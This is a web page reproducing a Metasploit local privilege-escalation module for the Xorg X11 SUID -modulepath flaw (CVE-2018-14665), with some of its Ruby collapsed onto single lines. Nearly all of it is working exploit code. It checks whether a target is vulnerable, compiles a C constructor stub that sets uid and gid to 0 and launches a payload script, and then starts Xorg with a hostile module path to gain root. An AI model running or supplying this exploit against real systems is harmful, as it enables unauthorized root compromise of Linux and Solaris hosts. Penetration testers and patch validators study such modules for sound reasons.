Reporting

This module requires Metasploit: https://metasploit.com/download

welcome to this page Ethical hacking Khdira class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking include Msf::Exploit::EXE include Msf::Exploit::FileDropper include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::Kernel include Msf::Post::Linux::System

def initialize(info = {}) super(update_info(info, 'Name' => 'Xorg X11 Server SUID modulepath Privilege Escalation', 'Description' => %q{ This module attempts to gain root privileges with SUID Xorg X11 server versions 1.19.0 < 1.20.3.

    A permission check flaw exists for -modulepath and -logfile options when
    starting Xorg.  This allows unprivileged users that can start the server
    the ability to elevate privileges and run arbitrary code under root
    privileges.

    This module has been tested with CentOS 7 (1708).
    CentOS default install will require console auth for the users session.
    Xorg must have SUID permissions and may not start if running.

    On successful exploitation artifacts will be created consistant
    with starting Xorg.
  },
  'License'        => MSF_LICENSE,
  'Author'         =>
    [
      'Narendra Shinde', # Discovery and exploit
      'Aaron Ringo',     # Metasploit module
    ],
  'DisclosureDate' => 'Oct 25 2018',
  'References'     =>
    [
       [ 'CVE', '2018-14665' ],
       [ 'BID', '105741' ],
       [ 'EDB', '45697' ],
       [ 'EDB', '45742' ],
       [ 'EDB', '45832' ],
       [ 'URL', 'https://www.securepatterns.com/2018/10/cve-2018-14665-another-way-of.html' ]
    ],
  'Platform'       =>  %w[linux unix solaris],
  'Arch'           =>  [ARCH_X86, ARCH_X64],
  'SessionTypes'   =>  %w[shell meterpreter],
  'Targets'        =>
    [
       ['Linux x64', {
        'Platform' => 'linux',
        'Arch' => ARCH_X64 } ],
       ['Linux x86', {
        'Platform' => 'linux',
        'Arch' => ARCH_X86 } ],
       ['Solaris x86', {
        'Platform' => [ 'solaris', 'unix' ],
        'Arch' => ARCH_SPARC } ],
       ['Solaris x64', {
        'Platform' => [ 'solaris', 'unix' ],
        'Arch' => ARCH_SPARC } ],
    ],
  'DefaultTarget'  => 0))

 register_advanced_options(
   [
     OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
     OptString.new('Xdisplay', [ true, 'Display exploit will attempt to use', ':1' ]),
     OptBool.new('ConsoleLock', [ true, 'Will check for console lock under linux', true ]),
     OptString.new('sofile', [ true, 'Xorg shared object name for modulepath', 'libglx.so' ])
   ]
 )

end

def check # linux checks uname = cmd_exec "uname" if uname =~ /linux/i vprint_status "Running additional check for Linux" if datastore['ConsoleLock'] user = cmd_exec "id -un" unless exist? "/var/run/console/#{user}" vprint_error "No console lock for #{user}" return CheckCode::Safe end vprint_good "Console lock for #{user}" end end

# suid program check
xorg_path = cmd_exec "command -v Xorg"
unless xorg_path.include?("Xorg")
  vprint_error "Could not find Xorg executable"
  return CheckCode::Safe
end
vprint_good "Xorg path found at #{xorg_path}"
unless setuid? xorg_path
  vprint_error "Xorg binary #{xorg_path} is not SUID"
  return CheckCode::Safe
end
vprint_good "Xorg binary #{xorg_path} is SUID"

x_version = cmd_exec "Xorg -version"
if x_version.include?("Release Date")
  v = Gem::Version.new(x_version.scan(/\d\.\d+\.\d+/).first)
  unless v.between?(Gem::Version.new('1.19.0'), Gem::Version.new('1.20.2'))
    vprint_error "Xorg version #{v} not supported"
    return CheckCode::Safe
  end
elsif x_version.include?("Fatal server error")
  vprint_error "User probably does not have console auth"
  vprint_error "Below is Xorg -version output"
  vprint_error x_version
  return CheckCode::Safe
else
  vprint_warning "Could not parse Xorg -version output"
  return CheckCode::Appears
end
vprint_good "Xorg version #{v} is vulnerable"

# process check for /X
proc_list = cmd_exec "ps ax"
if proc_list.include?('/X ')
  vprint_warning('Xorg in process list')
  return CheckCode::Appears
end
vprint_good('Xorg does not appear to be running')
return CheckCode::Vulnerable

end

def check_arch_and_compile(path, data) cpu = '' if target['Arch'] == ARCH_X86 cpu = Metasm::Ia32.new compile_with_metasm(cpu, path, data) elsif target['Arch'] == ARCH_SPARC compile_with_gcc(path, data) else cpu = Metasm::X86_64.new compile_with_metasm(cpu, path, data) end end

def compile_with_metasm(cpu, path, data) shared_obj = Metasm::ELF.compile_c(cpu, data).encode_string(:lib) write_file(path, shared_obj) register_file_for_cleanup path

chmod path

rescue print_status('Failed to compile with Metasm. Falling back to compiling with GCC.') compile_with_gcc(path, data) end

def compile_with_gcc(path, data) unless has_gcc? fail_with Failure::BadConfig, 'gcc is not installed' end vprint_good 'gcc is installed'

src_path = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(6..10)}.c"
write_file(src_path, data)

gcc_cmd = "gcc -fPIC -shared -o #{path} #{src_path} -nostartfiles"
if session.type.eql? 'shell'
  gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
end
output = cmd_exec gcc_cmd
register_file_for_cleanup src_path
register_file_for_cleanup path

unless output.blank?
  print_error output
  fail_with Failure::Unknown, "#{src_path} failed to compile"
end

chmod path

end

def exploit check_status = check if check_status == CheckCode::Appears print_warning 'Could not get version or Xorg process possibly running, may fail' elsif check_status == CheckCode::Safe fail_with Failure::NotVulnerable, 'Target not vulnerable' end

if is_root?
  fail_with Failure::BadConfig, 'This session already has root privileges'
end

unless writable? datastore['WritableDir']
  fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
end

print_good 'Passed all initial checks for exploit'

modulepath = datastore['WritableDir']
sofile = "#{modulepath}/#{datastore['sofile']}"
pscript = "#{modulepath}/.session-#{rand_text_alphanumeric 5..10}"
xdisplay = datastore['Xdisplay']

stub = %Q^

extern int setuid(int); extern int setgid(int); extern int system(const char *__s);

void _init(void) attribute((constructor));

void attribute((constructor)) _init() { setgid(0); setuid(0); system("#{pscript} &"); } ^ print_status 'Writing launcher and compiling' check_arch_and_compile(sofile, stub)

# Uploading
print_status 'Uploading your payload, this could take a while'
if payload.arch.first == 'cmd'
  write_file(pscript, payload.encoded)
else
  write_file(pscript, generate_payload_exe)
end
chmod pscript
register_file_for_cleanup pscript


# Actual exploit with cron overwrite
print_status 'Exploiting'
#Xorg -logfile derp -modulepath ',/tmp' :1
xorg_cmd = "Xorg -modulepath ',#{modulepath}' #{xdisplay} & >/dev/null"
cmd_exec xorg_cmd
Rex.sleep 7
cmd_exec "pkill Xorg"
Rex.sleep 1

end end